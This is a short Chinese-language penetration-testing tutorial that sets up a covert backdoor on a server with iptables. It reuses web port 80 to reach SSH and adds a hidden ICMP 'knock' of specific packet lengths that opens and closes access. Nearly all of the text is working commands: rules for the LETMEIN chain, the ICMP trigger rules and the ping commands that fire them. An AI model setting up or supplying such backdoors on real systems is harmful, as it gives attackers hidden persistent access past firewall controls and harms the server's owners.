iptables端口复用后门

端口复用是不同的应用程序使用相同的端口进行通讯，在内网渗透中，服务器仅允许指定的端口开放，利用端口复用可以把例如3389端口转发到80端口上进行外部连接

目的：服务器一般部署在内网，仅有web服务用于被访问，我们将其他的服务通过端口复用绑定在80端口上，相当于给自己留下了一个后门。

1、创建端口复用链

iptables -t nat -N LETMEIN

2、添加端口复用规则到内部，将流量转发到22端口

iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22

3、创建开启开关，如果接收到长1139的ICMP包，则将来源ip添加到letmein的列表中

iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1139 -m recent --set --name letmein --rsource -j ACCEPT

4、创建关闭开关，如果接收到一个长为 1140 的 ICMP 包，则将来源 IP 从 letmein 列表中去掉

iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1140 -m recent --name letmein --remove -j ACCEPT

5、如果发现 SYN 包的来源 IP 处于 letmein 列表中，将跳转到 LETMEIN 链进行处理，有效时间为 3600 秒

iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

6、测试

开启复用：向目标发送一个长为1111的ICMP包，实际长度为1139

ping -c 1 -s 1111 192.168.38.132

关闭复用：向目标发送一个长度为1112的ICMP数据包，实际长度为1140

ping -c 1 -s 1112 192.168.38.132